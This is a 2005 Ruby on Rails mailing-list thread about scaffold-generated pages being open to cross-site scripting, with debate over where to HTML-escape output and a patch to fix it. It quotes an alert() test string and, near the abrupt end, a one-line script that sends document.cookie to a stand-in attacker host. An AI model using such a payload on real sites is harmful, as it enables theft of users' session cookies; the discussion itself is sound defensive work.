Rails - Feb 2005 - scaffold is vulnerable to xss

My appologies if this has been discussed before. I did search on the mailing 
list archive and did not find anything.

I recently decided to try ruby on rails. I found it quite easy to use and very 
clean.

I started creating a simple table in postgresql:

create table pepes (
 id serial primary key,
 name varchar(100)
);

Then I created a model class and a controller class for pepe and added the 
scaffold:... line. It worked great. I could add and delete records from my 
table.

However, when I edited a record, I inputed as name:
<script>alert(''I am vulnerable to xss
attacks'');</script>

To my surprise, when viewing the list page, the message box showed up, meaning 
it executed my javascript. An attacker could put a nasty javascript and steal 
the site administrator cookies when he views the data.

It seems the todo list tutorial http://manuals.rubyonrails.com/read/chapter/38 
is also full of xss vulnerabilities.

Is every single page out there that is being generated by scaffold vulnerable 
to xss? or is there a one liner I am missing to make scaffold encode all the 
data?

On 07/02/2005, at 1:16 PM, Paul Pacheco wrote:
> Is every single page out there that is being generated by scaffold 
> vulnerable
> to xss? or is there a one liner I am missing to make scaffold encode 
> all the
> data?
I don''t think any one is using :scaffold on live production sites with 
unknown users... it''s great for wireframes and quick testing, but
it''s
obviously not what you''d use on a production site.

I''m there''s a more "Rails" way than this, but there
is a CGI.escapeHTML
method which returns HTMML escaped characters, so I''m sure
you''d only
need a one-liner to "clean" your input.

---
Justin French, Indent.com.au
justin.french-zULN+VWqVOIpAS55Wn97og@public.gmane.org
Web Application Development & Graphic Design

Justin French wrote:
> On 07/02/2005, at 1:16 PM, Paul Pacheco wrote:
> 
>> Is every single page out there that is being generated by scaffold 
>> vulnerable
>> to xss? or is there a one liner I am missing to make scaffold encode 
>> all the
>> data?
> 
> 
> I don''t think any one is using :scaffold on live production sites
with
> unknown users... it''s great for wireframes and quick testing, but
it''s
> obviously not what you''d use on a production site.
> 
> I''m there''s a more "Rails" way than this, but
there is a CGI.escapeHTML
> method which returns HTMML escaped characters, so I''m sure
you''d only
> need a one-liner to "clean" your input.
> 
This is a problem on any app that doesn''t scrub its input, scaffolded
or
not, because nothing in Rails automatically does this for you.  As 
Justin points out, it''s easy enough to scrub your inputs for this, and 
perhaps scaffolding should do this, perhaps not.  That being said, I 
don''t think that the fact that scaffoling is not *intended* to be used 
in production is a valid reason to dismiss any bad behaviors it may posess.

-Scott


_______________________________________________
Rails mailing list
Rails-1W37MKcQCpIf0INCOvqR/iCwEArCW2h5@public.gmane.org
http://lists.rubyonrails.org/mailman/listinfo/rails

> I''m there''s a more "Rails" way than this, but
there is a CGI.escapeHTML
> method which returns HTMML escaped characters, so I''m sure
you''d only
> need a one-liner to "clean" your input.
CGI.escapeHTML is mapped to h, so you can do something like <%=h
thing.escapeme %> in your view code.

Hadley

Hi!

If the default scaffolding would include code to clean input and other
tweaks it would not be long until developers were putting applications
online using nothing but default scaffolding. This would create a lot of
pressure on the development of Rails scaffolding and I am not sure if that
is good. Scaffolding would increase in complexity and size andeventually
become something noone would use.

My suggestion is that scaffolding stays simple and clean. Instead, create
a tutorial that shows how to deal with XSS and user input.

Regards,

Peter

>> I''m there''s a more "Rails" way than this,
but there is a CGI.escapeHTML
>> method which returns HTMML escaped characters, so I''m sure
you''d only
>> need a one-liner to "clean" your input.
>
> CGI.escapeHTML is mapped to h, so you can do something like <%=h
> thing.escapeme %> in your view code.
>
> Hadley

* Peter Krantz
<pete-bhBtkFhEHeNw6fk2Hdk/AjuJmnLKpeCiAL8bYrjMMd8@public.gmane.org> [0224
10:24]:
> 
> Hi!
> 
> If the default scaffolding would include code to clean input and other
> tweaks it would not be long until developers were putting applications
> online using nothing but default scaffolding. This would create a lot of
> pressure on the development of Rails scaffolding and I am not sure if that
> is good. Scaffolding would increase in complexity and size andeventually
> become something noone would use.
> 
> My suggestion is that scaffolding stays simple and clean. Instead, create
> a tutorial that shows how to deal with XSS and user input.

http://manuals.rubyonrails.com/read/book/8

covers xss and sql injection attacks (and the h() method mentioned below).
 
> >> I''m there''s a more "Rails" way than
this, but there is a CGI.escapeHTML
> >> method which returns HTMML escaped characters, so I''m
sure you''d only
> >> need a one-liner to "clean" your input.
> >
> > CGI.escapeHTML is mapped to h, so you can do something like <%=h
> > thing.escapeme %> in your view code.
-- 
''And if you think you''re going to bleed all over me
you''re even wronger than you normally be''
		-- The Specials, ''Little Bitch''
Rasputin :: Jack of All Trades - Master of Nuns

>
> My suggestion is that scaffolding stays simple and clean. Instead, create
> a tutorial that shows how to deal with XSS and user input.
>
Hear-hear!

The scaffolding is supposed to fascillitate rapid design, prototyping and
testing, if I understand correctly, and these are production concerns.

Perhaps the very best approach is a prominent notification in docs and
tutorials that scaffolding is not meant for production and list this as
one good reason why.

Cheers!
Twitch

>
> http://manuals.rubyonrails.com/read/book/8
>
> covers xss and sql injection attacks (and the h() method mentioned below).
>
You know you are right when someone else has already implemented you
suggestion :)

Cheers
Twitch

On Monday 07 February 2005 04:32 am, Dick Davies wrote:
> * Peter Krantz
<pete-bhBtkFhEHeNw6fk2Hdk/AjuJmnLKpeCiAL8bYrjMMd8@public.gmane.org> [0224
10:24]:
> > Hi!
> >
> > If the default scaffolding would include code to clean input and other
> > tweaks it would not be long until developers were putting applications
> > online using nothing but default scaffolding. This would create a lot
of
> > pressure on the development of Rails scaffolding and I am not sure if
> > that is good. Scaffolding would increase in complexity and size
> > andeventually become something noone would use.
> >
> > My suggestion is that scaffolding stays simple and clean. Instead,
create
> > a tutorial that shows how to deal with XSS and user input.
>
> http://manuals.rubyonrails.com/read/book/8
>
> covers xss and sql injection attacks (and the h() method mentioned below).
No, it doesn''t.

It explains how to make your page secure, but not how to make an scaffolded 
page secure.

I do want to keep my pages scaffolded, so my question is:

how do I make scaffold do the h function on all the data it displays?

On Monday 07 February 2005 04:24 am, Peter Krantz wrote:
> Hi!
>
> If the default scaffolding would include code to clean input and other
> tweaks it would not be long until developers were putting applications
> online using nothing but default scaffolding. This would create a lot of
> pressure on the development of Rails scaffolding and I am not sure if that
> is good. Scaffolding would increase in complexity and size andeventually
> become something noone would use.
>
> My suggestion is that scaffolding stays simple and clean. Instead, create
> a tutorial that shows how to deal with XSS and user input.
so are you saying that scaffold SHOULD generate vulnerable pages? WTF?

Paul Pacheco wrote:
> On Monday 07 February 2005 04:32 am, Dick Davies wrote:
> 
>>* Peter Krantz
<pete-bhBtkFhEHeNw6fk2Hdk/AjuJmnLKpeCiAL8bYrjMMd8@public.gmane.org> [0224
10:24]:
>>
>>>Hi!
>>>
>>>If the default scaffolding would include code to clean input and
other
>>>tweaks it would not be long until developers were putting
applications
>>>online using nothing but default scaffolding. This would create a
lot of
>>>pressure on the development of Rails scaffolding and I am not sure
if
>>>that is good. Scaffolding would increase in complexity and size
>>>andeventually become something noone would use.
>>>
>>>My suggestion is that scaffolding stays simple and clean. Instead,
create
>>>a tutorial that shows how to deal with XSS and user input.
>>
>>http://manuals.rubyonrails.com/read/book/8
>>
>>covers xss and sql injection attacks (and the h() method mentioned
below).
> 
> 
> No, it doesn''t.
> 
> It explains how to make your page secure, but not how to make an scaffolded
> page secure.
> 
> I do want to keep my pages scaffolded, so my question is:
> 
> how do I make scaffold do the h function on all the data it displays?
My suggestion is to scrub the data in your model, not the view.  This is 
the easiest way to do it, and it ensures that you don''t miss some place
in one of possibly several views.  As I said before, I don''t feel that 
this is an issue particular to scaffolding, but web applications in 
general and it makes sense to clean your data in the most general way 
possible, that is when it enters and exits the DB.

-Scott



_______________________________________________
Rails mailing list
Rails-1W37MKcQCpIf0INCOvqR/iCwEArCW2h5@public.gmane.org
http://lists.rubyonrails.org/mailman/listinfo/rails

> My suggestion is to scrub the data in your model, not the view.  This is
> the easiest way to do it, and it ensures that you don''t miss some
place
> in one of possibly several views.  As I said before, I don''t feel
that
> this is an issue particular to scaffolding, but web applications in
> general and it makes sense to clean your data in the most general way
> possible, that is when it enters and exits the DB.
The proper fix, is not to clean the input and then store it in the database. 
The proper fix is to store whatever the user inputs in the database, and then 
encode it before displaying it. That is the right way to do it and the one 
that follows the principle of least surprise. Otherwise, you will have users 
asking "why didn''t it store the data xxx I put in?", and
there are valid
reasons why a user would like to input <script>...</script>, for
example if
it was a page about javascript.

Also, the data may not come from a form, but from some other source, such as 
soap, another system, a system command or whatever. This data should not be 
toyed with. Instead, it should be encoded before displaying it.

As such, the vulnerability resides on the view side. The view is the one that 
is letting the data be interpreted as something else, instead of presenting 
it in a secure way.

I completelly agree this issue is not particular to scaffolding, there are 
many web applications that have xss vulnerabilities. It is probably the #1 
security vulnerability on internet closelly followed by SQL injection. My 
point is that scaffold IS VULNERABLE, and it should not be.

Hey I didn''t write it but I do recognize the zensibility of it.

Scaffolds are not for production. End of sentence.

Scaffolds are for rapid prototyping and testing.

After all, this is rails, not dBASEII.

Why in the good name of Frig would anyone want to put -scaffolds- into a
-production- app anyway?

Cheers,
Twitch

Scott Barron wrote:
> 
> My suggestion is to scrub the data in your model, not the view.  This is 
> the easiest way to do it, and it ensures that you don''t miss some
place
> in one of possibly several views.  As I said before, I don''t feel
that
> this is an issue particular to scaffolding, but web applications in 
> general and it makes sense to clean your data in the most general way 
> possible, that is when it enters and exits the DB.
You can''t scrub data in the "most general way possible"
because there are too
many possibilities. "Scrubbed" means different things to different
application
layers. The database/persistence layer is best suited to scrub the data so it 
doesn''t contain SQL (or whatever else causes problems in whatever
persistence
scheme your application uses.)

If you''re outputting to HTML, then the data can''t contain
JavaScript or
special characters. If you''re outputting to PDF, then it can''t
contain PDF
commands (if that''s possible). It seems to me that each output/view
layer is
best suited to protect against such attacks itself by, for example, escaping 
all special HTML characters that come from the model.

Jim
-- 
Jim Menard, jimm-Xhj3G7Rj6JI@public.gmane.org, http://www.io.com/~jimm

On Monday 07 February 2005 09:06 am, James G. Stallings II
wrote:
> Hey I didn''t write it but I do recognize the zensibility of it.
>
> Scaffolds are not for production. End of sentence.
>
> Scaffolds are for rapid prototyping and testing.
>
> After all, this is rails, not dBASEII.
>
> Why in the good name of Frig would anyone want to put -scaffolds- into a
> -production- app anyway?
I am not saying it should. I never said it.

But the reasoning here is: scaffold is not for production system, therefore no 
bug shall ever be fixed, not even security vulnerabilities.

If you are ok with that reasoning, then it would be appropiate to even 
introduce aditional bugs to scaffold on purpouse to discourage people from 
using it.

Paul Pacheco wrote:
>>My suggestion is to scrub the data in your model, not the view.  This is
>>the easiest way to do it, and it ensures that you don''t miss
some place
>>in one of possibly several views.  As I said before, I don''t
feel that
>>this is an issue particular to scaffolding, but web applications in
>>general and it makes sense to clean your data in the most general way
>>possible, that is when it enters and exits the DB.
> 
> 
> The proper fix, is not to clean the input and then store it in the
database.
> The proper fix is to store whatever the user inputs in the database, and
then
> encode it before displaying it. That is the right way to do it and the one 
> that follows the principle of least surprise. Otherwise, you will have
users
> asking "why didn''t it store the data xxx I put in?", and
there are valid
> reasons why a user would like to input <script>...</script>,
for example if
> it was a page about javascript.
> 
> Also, the data may not come from a form, but from some other source, such
as
> soap, another system, a system command or whatever. This data should not be
> toyed with. Instead, it should be encoded before displaying it.
> 
> As such, the vulnerability resides on the view side. The view is the one
that
> is letting the data be interpreted as something else, instead of presenting
> it in a secure way.
Fair enough if you don''t want to scrub data going into your model, 
that''s fine and I understand your point there.  But I think that 
scrubbing it on the way out is the best way to ensure all your views get 
scrubbed data.  If you''re scrubbing in the view itself it is too easy
to
mistakenly not scrub it in some area and remain vulnerable.  Doing it in 
one place seems the safest bet to me.  It''s easy enough to either
define
a method to access the scrubbed data, or to scrub it by default and 
define a method to access the raw data if you need to.
> I completelly agree this issue is not particular to scaffolding, there are 
> many web applications that have xss vulnerabilities. It is probably the #1 
> security vulnerability on internet closelly followed by SQL injection. My 
> point is that scaffold IS VULNERABLE, and it should not be.
I agree.  We can say all we want that scaffolding isn''t supposed to be 
used in production, but the fact is that it probably will be.  It''s 
really easy to generate scaffold and leave parts of it there that
you''ll
"get back to later".  And for this fact, it should not generate 
vulnerable code.  At the scaffold level I would even concede to scrub 
data right in the view since it is all generated code.

-Scott


_______________________________________________
Rails mailing list
Rails-1W37MKcQCpIf0INCOvqR/iCwEArCW2h5@public.gmane.org
http://lists.rubyonrails.org/mailman/listinfo/rails

Jim Menard wrote:
> Scott Barron wrote:
> 
>>
>> My suggestion is to scrub the data in your model, not the view.  This 
>> is the easiest way to do it, and it ensures that you don''t
miss some
>> place in one of possibly several views.  As I said before, I
don''t
>> feel that this is an issue particular to scaffolding, but web 
>> applications in general and it makes sense to clean your data in the 
>> most general way possible, that is when it enters and exits the DB.
> 
> 
> You can''t scrub data in the "most general way possible"
because there
> are too many possibilities. "Scrubbed" means different things to 
> different application layers. The database/persistence layer is best 
> suited to scrub the data so it doesn''t contain SQL (or whatever
else
> causes problems in whatever persistence scheme your application uses.)
> 
> If you''re outputting to HTML, then the data can''t contain
JavaScript or
> special characters. If you''re outputting to PDF, then it
can''t contain
> PDF commands (if that''s possible). It seems to me that each
output/view
> layer is best suited to protect against such attacks itself by, for 
> example, escaping all special HTML characters that come from the model.
> 
> Jim
I am not prescribing you to do scrubbing the same way I am, I am just 
stating what has worked for me.  I output in many formats and I haven''t
run into any problems scrubbing in my model, but I probably use 
different tools than you do.  I understand your point, but I also 
understand how easy it is to output something and forget to scrub the 
data.  If it works for you to do it in the view, great, keep on 
chooglin''.  It all depends on the application and toolset one uses.

-Scott


_______________________________________________
Rails mailing list
Rails-1W37MKcQCpIf0INCOvqR/iCwEArCW2h5@public.gmane.org
http://lists.rubyonrails.org/mailman/listinfo/rails

On Mon, 7 Feb 2005 11:24:29 +0100 (CET), Peter Krantz
<pete-bhBtkFhEHeNw6fk2Hdk/AjuJmnLKpeCiAL8bYrjMMd8@public.gmane.org>
wrote:
> 
> Hi!
> 
> If the default scaffolding would include code to clean input and other
> tweaks it would not be long until developers were putting applications
> online using nothing but default scaffolding. This would create a lot of
> pressure on the development of Rails scaffolding and I am not sure if that
> is good. Scaffolding would increase in complexity and size andeventually
> become something noone would use.
It would be great if Rails included an input validation engine, and also made
this the default way of accessing user-supplied data. I.e., make accessing
user-supplied data in it''s unsafe form a conscious choice, not the
other way around.

Thoughts?

/Niklas

James G. Stallings II wrote:
> Hey I didn''t write it but I do recognize the zensibility of it.
> 
> Scaffolds are not for production. End of sentence.
> 
> Scaffolds are for rapid prototyping and testing.
> 
> After all, this is rails, not dBASEII.
> 
> Why in the good name of Frig would anyone want to put -scaffolds- into a
> -production- app anyway?
Beacuse it''s easy to do it.  Very easy.  Should or shouldn''t
doesn''t
matter.  The best you can do is advise, but that doesn''t mean everyone 
will follow the advice.

-Scott


_______________________________________________
Rails mailing list
Rails-1W37MKcQCpIf0INCOvqR/iCwEArCW2h5@public.gmane.org
http://lists.rubyonrails.org/mailman/listinfo/rails

> I am not prescribing you to do scrubbing the same way I am, I am just
> stating what has worked for me.  I output in many formats and I
haven''t
> run into any problems scrubbing in my model, but I probably use
> different tools than you do.  I understand your point, but I also
> understand how easy it is to output something and forget to scrub the
> data.  If it works for you to do it in the view, great, keep on
> chooglin''.  It all depends on the application and toolset one
uses.
I see your point, it is convenient to do it in just one place, otherwise you 
might forget to do it.

But the model should be independent of the view. If you have a model that 
scrubs data for html, then you can''t do a view that presents
information in
pdf, csv, soap or whatever other format. Scrubbing it in the model makes your 
model dependent on the view and violates MVC principles. So the right way to 
do it is to do it in the view.

Hi Paul,

First, I''d just like to say thanks, but that''s a lot like
telling
someone, "Hey, you''re vulnerable to bullets.  You should stop
being
vulnerable to bullets."  Sure, everyone is, but telling me that
doesn''t
help. Do you have a suggestion that would help?  Here''s mine.

I''ve actually worked on a couple of open source projects which
attempted
to create a general "input scrubber" for web applications to avoid
this
problem.  It turns out that keeping up with all of the different ways an
HTML document can be encoded, versions of JavaScript, and different
browser capabilities makes it nearly impossible to do.  In the end it''s
almost like trying to solve the classic halting problem.

The only time we came even close was when we adopted the following
tactic:  Parse the input into a full syntax tree, including JavaScript,
and reject the input when it contained anything NOT in our list of
allowed stuff.  But, even that could easily be circumvented if someone
figured out another way to encode it to fool our parser or scanner.
Also it''s an incredibly huge amount of work to protect the end user.
Then there''s the problem if the user wants to post to the bulletin
board
his latest greatest JavaScript hack, oh so now we need to...  You get
the point, it''s just too complex of a problem to do well as a general
case.

What I decided in the end was that it was better to simply HTML escape
all of the output rather than prevent any input and use an engine like a
WikiWiki that converts from one format to another using a parser that
ruthlessly rejects input.  Then you should apply various tactics at key
points where needed (several other references were given).

I also decided that the problem was really not the full responsibility
of the web developer, but it really should be something that the browser
manufacturers solve.  All they have to do is implement signed javascript
files and remove them from HTML (so you always include the javascript),
or create a <noscripts until="234234somerandomid" />  which
doesn''t run
any scripts found until it reaches an ending <noscripts
until="234234somerandomid" /> tag.

Without this, you''ll just be constantly playing catchup with
Microsoft''s
stupidity, Firefox''s raw JavaScript power, and the bad guys/girls
abilities.

That''s just my .02 though.

Oh, and I''ve said it before, but there should be a way to tell the
templates to HTML escape everything so that web developers don''t have
to
remember to put a funny ''h'' on every tag.  Make it the norm
and then
have them use a ''S'' for "stupid" to put unescaped
stuff.  Either that or
start putting the little "h" in all of the examples so that people
like
Paul here think this is the normal way to do things.  Just a thought.

Zed

On Sun, 2005-02-06 at 20:16 -0600, Paul Pacheco wrote:
> My appologies if this has been discussed before. I did search on the
mailing
> list archive and did not find anything.
> 
> I recently decided to try ruby on rails. I found it quite easy to use and
very
> clean.
> Is every single page out there that is being generated by scaffold
vulnerable
> to xss? or is there a one liner I am missing to make scaffold encode all
the
> data?
> _______________________________________________
> Rails mailing list
> Rails-1W37MKcQCpIf0INCOvqR/iCwEArCW2h5@public.gmane.org
> http://lists.rubyonrails.org/mailman/listinfo/rails
> 
> 
-- 
Zed A. Shaw
http://www.zedshaw.com/

Paul Pacheco wrote:
>>I am not prescribing you to do scrubbing the same way I am, I am just
>>stating what has worked for me.  I output in many formats and I
haven''t
>>run into any problems scrubbing in my model, but I probably use
>>different tools than you do.  I understand your point, but I also
>>understand how easy it is to output something and forget to scrub the
>>data.  If it works for you to do it in the view, great, keep on
>>chooglin''.  It all depends on the application and toolset one
uses.
> 
> 
> I see your point, it is convenient to do it in just one place, otherwise
you
> might forget to do it.
> 
> But the model should be independent of the view. If you have a model that 
> scrubs data for html, then you can''t do a view that presents
information in
> pdf, csv, soap or whatever other format. Scrubbing it in the model makes
your
> model dependent on the view and violates MVC principles. So the right way
to
> do it is to do it in the view.
I don''t agree with this statment, but we''re getting removed
from the
point.  That is scrubbing data for scaffolding, which we seem to agree on.

-Scott


_______________________________________________
Rails mailing list
Rails-1W37MKcQCpIf0INCOvqR/iCwEArCW2h5@public.gmane.org
http://lists.rubyonrails.org/mailman/listinfo/rails

On Monday 07 February 2005 09:40 am, Zed Shaw wrote:
> What I decided in the end was that it was better to simply HTML escape
> all of the output rather than prevent any input and use an engine like a
> WikiWiki that converts from one format to another using a parser that
> ruthlessly rejects input.  Then you should apply various tactics at key
> points where needed (several other references were given).
I trully believe this is the right way to do it because:

1) Data does not necesarilly come from a html form, it may come from a system 
command, soap, external process updating database, etc...

2) There are valid reasons why a user might want to input
<script>...</script>
For example if the site was about javascript.

3) Principle of least surprise. If you mess with the input, the users and 
developers will inevitably ask "why doesn''t it save data xxx in
the
database?". This way, you will see exactly what you inputed.

4) what is secure for html may not be secure for pdf, soap or whatever other 
format. Each view should encode the data to make it secure to each format.
> Oh, and I''ve said it before, but there should be a way to tell the
> templates to HTML escape everything so that web developers don''t
have to
> remember to put a funny ''h'' on every tag.  Make it the
norm and then
> have them use a ''S'' for "stupid" to put
unescaped stuff.  Either that or
> start putting the little "h" in all of the examples so that
people like
> Paul here think this is the normal way to do things.  Just a thought.
I could not agree with you more. The easy way should be the secure way. If 
people wanted to do something insecure, they should go an extra mile. IMHO. 
things like 

<%= pepe %>

should by default pass pepe through the h() function. If a person wanted to 
actually print pepe as html, they should have to do something more 
complicated and unnatural:

<% out.print(pepe) %>

That way people will by default write secure software.

This "default escaping" business would break helpers from the start.
No longer would we have link_to or form_tag or any of that goodness.
It would also break partials, since they contain tags. It sounds like
a much larger change than y''all seem to be discussing.

I could think of a simple fix for helpers and partials, though. Make a
class that inherits from string which h() ignores. That way a helper
method could return UnescapableString.new(output) and its output would
be protected from h''s indiscriminant escaping. Since malicious code
always comes in as a String and not an UnescapableString (which must
be instantiated in controller/view code), it seems safe enough.

I''m still not sure I like the idea, but I suppose with an extension
like that it might at least be feasible.

Brian



On Mon, 7 Feb 2005 09:51:18 -0600, Paul Pacheco
<paul.pacheco-CeMxoIH9045Wk0Htik3J/w@public.gmane.org>
wrote:
> On Monday 07 February 2005 09:40 am, Zed Shaw wrote:
> > What I decided in the end was that it was better to simply HTML escape
> > all of the output rather than prevent any input and use an engine like
a
> > WikiWiki that converts from one format to another using a parser that
> > ruthlessly rejects input.  Then you should apply various tactics at
key
> > points where needed (several other references were given).
> 
> I trully believe this is the right way to do it because:
> 
> 1) Data does not necesarilly come from a html form, it may come from a
system
> command, soap, external process updating database, etc...
> 
> 2) There are valid reasons why a user might want to input
<script>...</script>
> For example if the site was about javascript.
> 
> 3) Principle of least surprise. If you mess with the input, the users and
> developers will inevitably ask "why doesn''t it save data xxx
in the
> database?". This way, you will see exactly what you inputed.
> 
> 4) what is secure for html may not be secure for pdf, soap or whatever
other
> format. Each view should encode the data to make it secure to each format.
> 
> > Oh, and I''ve said it before, but there should be a way to
tell the
> > templates to HTML escape everything so that web developers
don''t have to
> > remember to put a funny ''h'' on every tag.  Make it
the norm and then
> > have them use a ''S'' for "stupid" to put
unescaped stuff.  Either that or
> > start putting the little "h" in all of the examples so that
people like
> > Paul here think this is the normal way to do things.  Just a thought.
> 
> I could not agree with you more. The easy way should be the secure way. If
> people wanted to do something insecure, they should go an extra mile. IMHO.
> things like
> 
> <%= pepe %>
> 
> should by default pass pepe through the h() function. If a person wanted to
> actually print pepe as html, they should have to do something more
> complicated and unnatural:
> 
> <% out.print(pepe) %>
> 
> That way people will by default write secure software.
> _______________________________________________
> Rails mailing list
> Rails-1W37MKcQCpIf0INCOvqR/iCwEArCW2h5@public.gmane.org
> http://lists.rubyonrails.org/mailman/listinfo/rails
> 

-- 
The years ahead pick up their dark bags.
They move closer. There''s a slight rise in the silence

then nothing.
--
(If you''re receiving this in response to mail sent to
bluczkie-OM76b2Iv3yLQjUSlxSEPGw@public.gmane.org, don''t be concerned
This is my new address,
but mail will be forwarded here indefinitely)

> I could not agree with you more. The easy way should be the secure way. If
> people wanted to do something insecure, they should go an extra mile. IMHO.
> things like
>
> <%= pepe %>
>
> should by default pass pepe through the h() function. If a person wanted to
> actually print pepe as html, they should have to do something more
> complicated and unnatural:
>
> <% out.print(pepe) %>
>
> That way people will by default write secure software.
Reply to self:

Just so people don''t think I am delutional, I know that ain''t
happening. It
would break pretty much all the existing web applications.

I do like the h on all the examples.

You GO, Zed!

:D

Twitch

My take on all this is that there are a number of things one should or
shouldn''t do. However it is not 0 the job of an application
framework to insure that you write apps that are secure.

I should not write a C program to format my hard drive -- unless I need to
format my hard drive.

Its kinda that way with rails. We all know that scaffolding is not for
production. No doubt somebody will use it that way anyway, and on purpose.
Caveat Emptor.

If you are aware of how to Do The Right Thing, and you fail to do it, your
karma is yours; somebody will steal your cookies sooner or later.

If you are aware of how to Do The Right Thing, and you do it, there is no
issue or concern.

Don''t break rails (or over complicate it) just because one guy thinks
it
needs to be dataease.


With Regards,
Twitch

On Mon, 7 Feb 2005, James G. Stallings II wrote:
> shouldn''t do. However it is not 0 the job of an application
Dang pine spellchecker - that ''0'' should read
''necesarily''

Sorry bout that
Twitch

Peter Krantz wrote:
> If the default scaffolding would include code to clean input and other
> tweaks
HTML-escaping has nothing to do with "cleaning" input and is
definetely
no "tweak", it is _required_ to make a website that doesn''t
break when
you enter "<" or ">" in a form field.

http://dev.rubyonrails.org/attachment/ticket/599/scaffold_html_escaping.patch

Looks pretty simple to me. +1.

I wonder why the resistance to making scaffold safer?



On Mon, 07 Feb 2005 20:11:55 +0100, Andreas Schwarz
<usenet-ARtvInVfO7ksV2N9l4h3zg@public.gmane.org>
wrote:
>
http://dev.rubyonrails.org/attachment/ticket/599/scaffold_html_escaping.patch
> 
> _______________________________________________
> Rails mailing list
> Rails-1W37MKcQCpIf0INCOvqR/iCwEArCW2h5@public.gmane.org
> http://lists.rubyonrails.org/mailman/listinfo/rails
>

On Mon, 7 Feb 2005, Steve Willer wrote:

Because:
1) it is a prototyping gadget, not a load-bearing production component

2) as a prototyping gadget, simplicity is desirable so that the prototyping
gadget is a negligible source of concern in during the pre-deployment
phases

3) ''''saferizing'''' scaffold will add code to
a system under development,
(as well as to rails itself), code that deliberately obscures either input
or output -- and such things are patently undesirable when debugging

Thats really why I''m resistant, can''t speak for everyone. I
think it goes
without saying that it is well understood by all that using scaffold in
a production environment goes against the grain of best practices; anyone
who deliberately ignores best practices, well, they are pretty well
on their own.

If you''re one who is so headstrong about using the scaffold code,
generate
it and use the generated code. At least then you can develop/test/debug
first, and then add some sort of scrubbing (wherever it happens to be needed)
after the business logic is fully assembled and tested.

Why is this so very difficult to grok?

Sorry peeps, must be my day to be the hardcase...

Cheers,
Twitch

On Monday 07 February 2005 01:11 pm, Andreas Schwarz
wrote:
> http://dev.rubyonrails.org/attachment/ticket/599/scaffold_html_escaping.pat
>ch
You are my hero.

Thanks.

James G. Stallings II wrote:
> 3) ''''saferizing'''' scaffold will add
code to a system under development,
> (as well as to rails itself), code that deliberately obscures either input
> or output -- and such things are patently undesirable when debugging
html_escape does not remove or obscure any information, it only makes 
sure that you get exactly the same result in the browser as in the 
database, instead of a broken page when the database contains something 
like "</html>" or "&amp;".
> Why is this so very difficult to grok?

Peter Krantz wrote:
>If the default scaffolding would include code to clean input and other
>tweaks it would not be long until developers were putting applications
>online using nothing but default scaffolding. This would create a lot of
>pressure on the development of Rails scaffolding and I am not sure if that
>is good. Scaffolding would increase in complexity and size andeventually
>become something noone would use.
>
>My suggestion is that scaffolding stays simple and clean. Instead, create
>a tutorial that shows how to deal with XSS and user input.
>
I don''t think you have a valid argument, because adding HTML escaping 
would really not complicate scaffolding one bit.  I agree with you that 
scaffolding should stay simple, but there is nothing in his suggestion 
that needs to be complicated.  It seems to me like the default behavior 
should be the one that most people will want to have most of the time.  
HTML escaping seems to me like something that most basic sites should 
have on by default, so it seems like the scaffolding should use it, 
especially since it is a trivial fix and doesn''t increase code
complexity.

In Tapestry, components that display text on the page have a "raw" 
attribute. By default, it''s false, so whatever is rendered is escaped. 
If you want the raw output, set it to true. It seems like this would 
make sense here.

Jamie


On Feb 7, 2005, at 8:07 PM, Carl Youngblood wrote:
> Peter Krantz wrote:
>
>> If the default scaffolding would include code to clean input and other
>> tweaks it would not be long until developers were putting applications
>> online using nothing but default scaffolding. This would create a lot 
>> of
>> pressure on the development of Rails scaffolding and I am not sure if 
>> that
>> is good. Scaffolding would increase in complexity and size 
>> andeventually
>> become something noone would use.
>>
>> My suggestion is that scaffolding stays simple and clean. Instead, 
>> create
>> a tutorial that shows how to deal with XSS and user input.
>>
> I don''t think you have a valid argument, because adding HTML
escaping
> would really not complicate scaffolding one bit.  I agree with you 
> that scaffolding should stay simple, but there is nothing in his 
> suggestion that needs to be complicated.  It seems to me like the 
> default behavior should be the one that most people will want to have 
> most of the time.  HTML escaping seems to me like something that most 
> basic sites should have on by default, so it seems like the 
> scaffolding should use it, especially since it is a trivial fix and 
> doesn''t increase code complexity.
> _______________________________________________
> Rails mailing list
> Rails-1W37MKcQCpIf0INCOvqR/iCwEArCW2h5@public.gmane.org
> http://lists.rubyonrails.org/mailman/listinfo/rails
>

* Carl Youngblood (carlwork-0CEYHQKyN7s@public.gmane.org) [050207
20:12]:
> I don''t think you have a valid argument, because adding HTML
escaping
> would really not complicate scaffolding one bit.  I agree with you that 
> scaffolding should stay simple, but there is nothing in his suggestion 
> that needs to be complicated.  It seems to me like the default behavior 
> should be the one that most people will want to have most of the time.  
> HTML escaping seems to me like something that most basic sites should 
> have on by default, so it seems like the scaffolding should use it, 
> especially since it is a trivial fix and doesn''t increase code
complexity.
I could''ve sworn I saw a patch for this already submitted:

   
http://dev.rubyonrails.org/attachment/ticket/599/scaffold_html_escaping.patch

Rick
-- 
 http://www.rickbradley.com    MUPRN: 637
                       |  our test system with
   random email haiku  |  a certain amount of
                       |  gain and background noise.

On Mon, 7 Feb 2005, Jamie Orchard-Hays wrote:
> Date: Mon, 7 Feb 2005 20:12:21 -0500
> From: Jamie Orchard-Hays <jamie-fswG1Ka7Iew@public.gmane.org>
> Reply-To: rails-1W37MKcQCpIf0INCOvqR/iCwEArCW2h5@public.gmane.org
> To: rails-1W37MKcQCpIf0INCOvqR/iCwEArCW2h5@public.gmane.org
> Subject: Re: [Rails] scaffold is vulnerable to xss - suggestion
>
> In Tapestry, components that display text on the page have a
"raw" attribute.
> By default, it''s false, so whatever is rendered is escaped. If you
want the
> raw output, set it to true. It seems like this would make sense here.
> Jamie
>
Now there''s a sensible approach...

Twitch

Don''t forget that <%= ... %> is used for far more then just
inserting field
contents. All the built in url helpers, and your own custom ones make use of 
this syntax.

Personally, I don''t find this to be a real problem. If you were truly 
determined, you could look into having AR accessors perform html escape when 
a template is being rendered. In my opinion, that would be too magical and 
I''m happy with the current situation. 

-- 

Nicholas Seckar aka. Ulysses

On Monday 07 February 2005 11:12 pm, Nicholas Seckar
wrote:
> Don''t forget that <%= ... %> is used for far more then just
inserting field
> contents. All the built in url helpers, and your own custom ones make use
> of this syntax.
Yes. I know that is not happening.
> Personally, I don''t find this to be a real problem. 
It is a very serious security vulnerability. I''ll give you a
hipotetical
attack:

Let''s say you wrote a bug tracking system that has this vulnerability. 

I, the attacker, go the the site, and enter a bug. and in the message, I write 
this:

<script>document.location="http://my.attacker.site.com?credentials="
+
document.cookie</script>

That is all it takes, 1 loc. When the bug owner, AKA the victim, opens the 
